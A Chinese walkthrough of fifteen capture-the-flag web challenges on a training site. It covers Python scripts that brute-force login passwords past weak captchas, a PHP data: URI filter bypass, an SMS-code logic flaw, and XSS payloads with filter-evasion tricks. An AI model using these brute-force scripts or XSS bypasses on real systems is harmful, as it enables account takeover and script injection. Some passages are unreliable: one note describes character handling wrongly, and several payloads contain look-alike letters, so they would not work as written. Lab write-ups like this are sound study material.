目录
1、key又又找不到了
- 打开靶场。
- 点击后发现并没有key。因为有点击链接发生跳转的过程,所以尝试使用BurpSuite进行拦截。
- 使用BurpSuite进行抓包,具体步骤:
- 打开BurpSuite,打开浏览器代理(与BurpSuite设置的一致),点击链接,BurpSuite成功抓包。右键将包发送给重发器。
- 点击重发器,直接点击发送,获得响应,得到key。
2、快速口算
- 打开靶场。
- 把结果算出来提交,但是没用。
- 既然提示要在2秒内提交,尝试使用BurpSuite拦截包,看看能不能修改时间,但是并没有发现与时间有关的变量。
- 既然是与脚本有关的题目,那就老老实实地写脚本访问吧。
- 使用python编写脚本,使用计算机计算结果进行提交,并获取网页源代码。
- 【注】正则表达式r'<br/>\s+(.*?)='的含义:
- r:说明这是一个原始字符串,不对字符串中的特殊字符进行转义。
- <br/>:匹配<br/>标签,因为源代码中等式前就是它。
- \s+:匹配一个或多个空格,用于去除多余的空格。
- (.*?):匹配任意字符,但采用非贪婪模式,会尽可能少地匹配字符。
- .*会匹配整个字符串:<p>hello</p><p>world</p>
- .*?会只匹配第一个<p>标签内的内容:hello
- =:匹配等于号,用于结束匹配。
- 详细教程:正则表达式 – 教程 | 菜鸟教程 (runoob.com)
- 运行后得到key。
3、这个题目是空的
- 提示直接提交答案,不仅要是小写,还要是空。
- 什么代表空呢?尝试输入null,答案正确。
4、怎么就是不弹出key呢?
- 打开靶场。
- 点击后发现并没有弹窗,按F12查看元素,发现点击链接会执行了一个用JS写的a()函数。
- 对源代码进行审计,发现执行弹窗的alert()函数被重写了,并且其中retuen了false,猜测是该函数重写对弹窗造成了影响。
- 复制全部源代码,新建txt文本文件,将源代码粘贴后删除重写的alert()函数并保存,修改文本文件后缀为.html后运行。
- 点击链接成功弹窗,取前14个字符charsslakfjtes,提交居然回答错误!
- 重写审计源代码,发现key是不包含chars的!
- 取key为slakfjteslkjsd,提交回答正确。
5、逗比验证码第一期
- 打开靶场。
- 要求登陆,并且提示了密码为1000~9999,尝试暴力破解。
- 首先随机输入密码和正确的验证码,使用bp抓包,发送请求,返回pwd error。重新修改密码,再次发送请求,返回pwd error。说明验证码一直有效,即只需要使用第一次的验证码即可进行爆破。
- 方法一:使用bp暴力破解。
- 使用BurpSuite进行抓包,具体步骤:
- 打开BurpSuite,打开浏览器代理(与BurpSuite设置的一致),随便输入密码和正确的验证码,点击提交,BurpSuite成功抓包。右键将包发送给intruder。
- 修改要爆破的位置,只留下密码。
- 在有效载荷中修改爆破范围。
- 设置线程数(加快速度爆破),点击开始攻击。
- 【注】第一次尝试时,发现找不到正确密码,所以返回的长度都相同。查看响应,发现是验证码错误。刷新页面,输入正确的验证码再次爆破,爆破成功。
- 找到长度不一致的密码,即为正确密码。
- 使用正确密码登陆,获得key。
- 使用BurpSuite进行抓包,具体步骤:
- 方法二:使用python暴力破解。(速度慢)
- 按F12,查看网络,获取请求头。
- 编写python代码,注意请求头格式。
-
import requests#用于发送http请求 url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php' #定义目标登录页面URL #构建请求头,包含User-Agent、Cookie等信息 headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', 'Cache-Control': 'max-age=0', 'Connection': 'keep-alive', 'Cookie': 'PHPSESSID=a4bc7694b79f2cf4bbbc1f7521fe1b43', 'Host': 'lab1.xseclab.com', 'Referer': 'http://hackinglab.cn/', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.37', } for i in range(1000,10000): data={'username' : 'admin', 'pwd' : i, 'vcode' : '8DCC', 'submit' : 'submit'} con=requests.post(url, headers=headers, data=data).content.decode('utf-8') print("%d : %s"%(i, con))
- 爆破成功,获得key。按ctrl+c提前终止。
6、逗比验证码第二期
- 打开靶场。
- 要求登陆,并且提示了密码为1000~9999,尝试暴力破解。
- 首先随机输入密码和正确的验证码,使用bp抓包,发送请求,返回pwd error。
- 重新修改密码,再次发送请求,返回vcode error。说明验证码使用一次即失效。
- 需要找到绕过验证码的方法,尝试不输入验证码会如何。
- 删除验证码后发送请求,返回pwd error。说明验证码为空即可绕过验证(第一次输入正确的验证码登陆留下的Cookie值,能让之后的爆破绕过验证码)。
- 【注】Cookie是服务端用于存储用户信息的一种机制。它实际是由服务端生成的一段包含用户信息的字符串,存储在用户浏览器中,每次请求服务端时浏览器会自动携带这段字符串,服务端可以根据Cookie中的信息识别用户。
- 方法一:使用bp暴力破解。
- 使用BurpSuite进行抓包,具体步骤:
- 打开BurpSuite,打开浏览器代理(与BurpSuite设置的一致),随便输入密码和正确的验证码,点击提交,BurpSuite成功抓包。右键将包发送给intruder。
- 只对密码进行爆破,删除vcode的值。
- 在有效载荷中修改爆破范围。
- 设置线程数(加快速度爆破),点击开始攻击。
- 找到长度不一致的密码,即为正确密码。查看响应,获得key。
- 使用BurpSuite进行抓包,具体步骤:
- 方法二:使用python暴力破解。(速度慢)
- 先使用一次正确的验证码进行登陆,按F12,查看网络,获取请求头(主要是获得Cookie)。
- 编写python代码,注意请求头格式。
-
import requests#用于发送http请求 url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php' #定义目标登录页面URL #构建请求头,包含User-Agent、Cookie等信息 headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', 'Cache-Control': 'max-age=0', 'Connection': 'keep-alive', 'Content-Length': '48', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'PHPSESSID=a4bc7694b79f2cf4bbbc1f7521fe1b43', 'Host': 'lab1.xseclab.com', 'Origin': 'http://lab1.xseclab.com', 'Referer': 'http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.37', } for i in range(1000,10000): data={'username' : 'admin', 'pwd' : i, 'vcode' : '', 'submit' : 'submit'} con=requests.post(url, headers=headers, data=data).content.decode('utf-8') print("%d : %s"%(i, con))
- 爆破成功,获得key。按ctrl+c提前终止。
7、逗比的验证码第三期(SESSION)
- 打开靶场。
- 提示Session(Session ID一般存储在Cookie中),也许可以使用Session绕过验证码。
- 【注】Session是服务端用于存储用户会话信息的一种机制。简单来说,就是用户登录后,服务端会在服务器上创建一个Session,并给用户返回一个Session ID,用户每次请求都携带这个ID,服务端根据ID找到对应的Session数据,以此维持用户会话。
首先要弄清楚验证码的验证流程:
1、显示表单
2、显示验证码(调用生成验证码的程序),将验证码加密后放进session或者cookie
3、用户提交表单
4、核对验证码无误,数据合法后再写入数据库
如果用户再提交一条数据,正常情况下,会再次访问表单页面,验证码图片会被更新,session和cookie也会改变。
但是bp爆破操作可以直接模拟post向服务端发送数据,这样验证码程序没有被调用,当然session和cookie存储的加密验证码就还是上次的值,没有被更新,这样之后再通过post直接发送的数据就不用考虑验证码,验证码即失效!
如果在核对验证码后将session和cookie的值清空,这个漏洞也就失效了。
- 方法一:使用bp暴力破解。
- 使用BurpSuite进行抓包,具体步骤:
- 打开BurpSuite,打开浏览器代理(与BurpSuite设置的一致),随便输入密码和正确的验证码,点击提交,BurpSuite成功抓包。右键将包发送给intruder。
- 只对密码进行爆破,删除vcode的值。
- 在有效载荷中修改爆破范围。
- 设置线程数(加快速度爆破),点击开始攻击。
- 找到长度不一致的密码,即为正确密码。查看响应,获得key。
- 使用BurpSuite进行抓包,具体步骤:
- 方法二:使用python暴力破解。(速度慢)
- 先使用一次正确的验证码进行登陆,按F12,查看网络,获取请求头(主要是获得Cookie中的Session ID)。
- 编写python代码,注意请求头格式。
-
import requests#用于发送http请求 url = 'http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php' #定义目标登录页面URL #构建请求头,包含User-Agent、Cookie等信息 headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', 'Cache-Control': 'max-age=0', 'Connection': 'keep-alive', 'Content-Length': '48', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'PHPSESSID=a4bc7694b79f2cf4bbbc1f7521fe1b43', 'Host': 'lab1.xseclab.com', 'Origin': 'http://lab1.xseclab.com', 'Referer': 'http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.37', } for i in range(1000,10000): data={'username' : 'admin', 'pwd' : i, 'vcode' : '', 'submit' : 'submit'} con=requests.post(url, headers=headers, data=data).content.decode('utf-8') print("%d : %s"%(i, con))
- 爆破成功,获得key。按ctrl+c提前终止。
8、微笑一下就能过关了
- 打开靶场。
- 随便输入信息发现未发送跳转。按F12查看源代码,发现“源代码”为一个链接。
- 点击“源代码”,显示php源码,对源代码进行解析。
-
// 通过正则表达式和其他手段验证用户输入,如果通过所有的检查,则返回flag。 <?php header("Content-type: text/html; charset=utf-8"); if (isset($_GET['view-source'])) { show_source(__FILE__); exit(); } include('flag.php'); $smile = 1; // 给smile赋初值 // preg_match(string $pattern, string $subject, string $matches) // preg_match()是PHP中的一个正则表达式匹配函数,作用是在主体字符串$subject中,搜索与正则表达式$pattern匹配的字符串。 // pattern:要搜索的模式,字符串类型(正则表达式)。 // subject:输入的字符串。 // matches:(可有可无)如果提供了参数matches,它将被填充为搜索结果。如果找到匹配,则返回true,并将匹配结果存入$matches数组中。 if (!isset ($_GET['^_^'])) $smile = 0; if (preg_match ('/\./', $_GET['^_^'])) $smile = 0; if (preg_match ('/%/', $_GET['^_^'])) $smile = 0; if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0; if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0; if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0; if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0; if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0; if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0; // 以上是对.、%、数字、http、https、ftp等输入进行正则匹配校验,若匹配成功,$smile则赋值为0。 if ($smile) { if (@file_exists ($_GET['^_^'])) $smile = 0; // file_exists()函数检查文件或目录是否存在,判断^_^是不是一个文件。 } // 如果通过所有的检查,$smile仍为1,则继续。 if ($smile) { $smile = @file_get_contents ($_GET['^_^']); if ($smile === "(●'◡'●)") die($flag); // 获取^_^的值,赋值给smile,若smile为(●'◡'●),则返回flag。 } ?>
- 因为使用的是get请求参数,所以可以确定该题需要在url地址后面加?参数为“^_^”。
- 接下来就是要确定参数的值:
- 已知代码中preg_match()函数将所有的点、百分号、数字和一些常见的传输协议都给过滤掉了。只要携带这些字符,$smile就会被置为0。
- 并且当$smile为1时,file_get_contents()函数(把整个文件读入一个字符串中)需要有个文件形式的传入内容,且内容为(●'◡'●),此时判断条件才能为真,才能获得flag。
- 经过以上分析,我们首先需要找出一种协议,能够传输文件内容。file协议不能使用,就使用data协议。这样?后面跟的内容就是:?^_^=data:, (●'◡'●)。
- 【注】data URI scheme(data协议)是一种在HTML、XML等文本中嵌入小文件(图片、CSS、JavaScript等)的方案。
- 又因为if (preg_match ('/_/', $_SERVER['QUERY_STRING']))(取整个请求URL中?后面的参数值部分的内容)这个条件使得^_^中的下划线刚好被匹配到。
- 这里我们可以将下划线替换为其URL编码,即:?^%5F^=data:, (●'◡'●) 。
- 【注】URL编码是一种将普通字符串转换为可以在URL中使用的格式的编码机制。它的目的是将那些在URL中具有特殊意义的字符进行转义,使得浏览器正确解析URL并加载相应资源。下划线"_"的URL编码是%5F。
- 输入:
- 获得flag。
9、逗比的手机验证码
- 打开靶场。
- 先获取验证码尝试登陆,登陆后提示使用别的手机号进行登陆。
- 使用13388886667进行登陆,获取验证码失败。
- 自己的手机号可以获取验证码,别人的不行。尝试使用自己手机号获取的验证码登陆别人的账号。
- 先使用自己的手机号获取验证码,并且不要关闭窗口。
- 重新打开标签,使用别人的手机号进行登陆,输入之前获取的验证码。
- 登陆成功,获得key。
- 【注】也可以使用bp拦截使用自己手机号登陆的包,再修改成别人的手机号进行重发。
10、基情燃烧的岁月
- 打开靶场。
- 点击获取手机验证码,提示验证码格式,很明显需要爆破。
- 使用BurpSuite进行抓包,具体步骤:
- 打开BurpSuite,打开浏览器代理(与BurpSuite设置的一致),随便输入验证码,点击提交,BurpSuite成功抓包。右键将包发送给intruder。
- 修改要爆破的位置,只留下验证码。
- 在有效载荷中设置爆破数值范围。
- 设置线程数(加快速度爆破),点击开始攻击。
- 找到长度不一致的验证码,即为正确的验证码。查看响应,发现需要对另一个手机号进行爆破。
- 修改手机号,重复上诉操作。
- 【注】使用13399999999进行登陆抓的包发现爆破不出来,所有的返回长度都相同。想到验证码是要先获取才能使用的,所以一定要先点击获取验证码,再进行登陆抓包。
- 爆破成功,获得key。
11、验证码识别
- 打开靶场。
- 点击获取验证码,只是提示验证码已发送,并且题目已经提示了验证码为3位数,说明需要对验证码进行爆破。
- 尝试用bp进行爆破。只对手机验证码进行爆破,保持验证码不变,爆破后发现所有的验证码都已失效。尝试将验证码置为空进行爆破,还是失效。说明验证码只能使用一次。
- 按照题目提示,应该是要在每次爆破的过程中自动识别验证码。
- 使用Pkav HTTP Fuzzer(图片验证码爆破工具)暴力破解+识别验证码:
- 通过bp抓包,复制请求包粘贴到Pkav HTTP Fuzzer。
- 将密码添加标记,验证码添加验证码标记。
- 设置手机验证码爆破范围。
- 在图片型验证码识别中添加验证码地址,验证码地址在网站源代码查看。
- 点击识别进行测试。
- 在重放选项中设置线程数(加快速度)和编码格式。
- 点击启动,发现返回的信息中提示没有发送手机验证码。
- 【注】手机验证码一般有发送频率限制,如果使用多线程高频发送验证码,很容易触发频率限制,导致发验证码接口被禁用。
- 在重放选项中重新设置线程模式为单线程。
- 重新启动,发现又没有成功。返回信息提示手机验证码或验证码错误。
- 检查发现,有些验证码识别失败。
- 重新进行设置,将验证码识别范围设置为清晰的数字,并且将验证码长度设置为4位。(多次刷新发现验证码都为4位数字)
- 重新启动,结果发现又没有爆破出来。检查发现,自带识别引擎会将0识别成9。
- 只能进行多次尝试,最终爆破成功。
12、XSS基础关
- 打开靶场前,先登陆平台。
- 打开靶场。
- 随意提交一个1,显示如下:
- 按F12,查看源代码,发现一个以xss命名的文件,因为题目提示与xss有关,所以查看该文件。
- 【注】XSS(Cross Site Scripting)攻击,也称跨站脚本攻击,是一种代码注入技术。它允许恶意用户将代码植入到提供给其他用户使用的页面中。其他用户在观看网页时,嵌入其中的恶意代码会被执行,从而达到恶意用户的目的。
- 对xxs_check.php文件进行审计,发现提示使用alert(HackingLab),并且提示不加密不编码js,那么可以想到使用<script>引入js代码并执行。
- 输入<script>alert(HackingLab)</script>,提示成功并得到key。
13、XSS基础2:简单绕过
- 打开靶场。
- 随意输入一个1,显示如下:
- 按F12,查看源代码,提示使用alert(),并且有与xss相关的文件。
- 对xss_check.php文件进行审计,发现提示使用alert(HackingLab),并且提示不加密不编码js,尝试使用<script>引入js代码并执行。
- 输入<script>alert(HackingLab)</script>,显示script标签被检测了。尝试输入<Script>alert(HackingLab)</script>也失败了,说明不能使用script标签了。
- 利用事件完成xss攻击,输入<img src=# οnerrοr=alert(HackingLab)>,提示成功并得到key。
14、XSS基础3:检测与构造
- 打开靶场。
- 尝试输入<script>alert(HackingLab)</script>和<img src=# οnerrοr=alert(HackingLab)>都失败了。根据对xss攻击的防范方法,猜测该网站应该是进一步地过滤掉了一些标签。
- 因为每次提交的内容都会显示到下面的小框中,所以可以尝试给小框添加触发事件,以此来执行alert。
- 尝试输入<οnclick=alert(HackingLab)>(点击小框即会触发事件,其他的触发事件也可以),输入后发现被过滤掉了。
- 先对<>进行测试,结果是<被过滤了,>没被过滤,<xxx>和中间的内容会被过滤,并且'没有被过滤。可以利用这个进行绕过。
- 尝试输入'οnclick=alert(HackingLab)>,被过滤掉了。可是之前单独测试onclick和alert并没有被过滤掉。
- 【注】'并不会进行HTML实体编码,它会直接被浏览器解析为<。所以可以利用'来代替<,绕过一些简单的XSS过滤,构造XSS攻击代码。
- 尝试输入'onclick>和'alert>,发现'alert>被过滤掉了。
- 输入'οnclick=ale<e>rt(HackingLab)>,提示成功,得到key。
15、Principle很重要的XSS
- 打开靶场。
- 随便输入一个1,提交后发现没反应。
- 按F12查看源代码,发现输入的内容会显示在a标签的跳转链接中。
- 根据提示中提到的黑盒XSS,那就说明需要慢慢地探索哪些字符被过滤掉了。
- 既然提交的内容会添加到a标签的跳转链接中,那就可以为a标签构造触发事件。
- 尝试输入javascript:alert(1),结果被过滤了。
- 先对<>进行测试,结果是<被过滤了,>没被过滤,<xxx>和中间的内容会被过滤。可以利用这个进行绕过。
- 尝试输入javasc<c>ript:alert(1),结果被过滤了。猜测可能的原因有两种:
- 后端代码是先匹配删除掉括号再进行的关键词查找。
- alter被屏蔽了。
- 先对第二种原因进行测试,尝试输入javasc<c>ript:ale<e>rt(1),结果成功出现在a标签跳转链接中,点击成功弹窗。
- 再输入javasc<c>ript:ale<e>rt(HackingLab),点击链接,提示成功,得到key。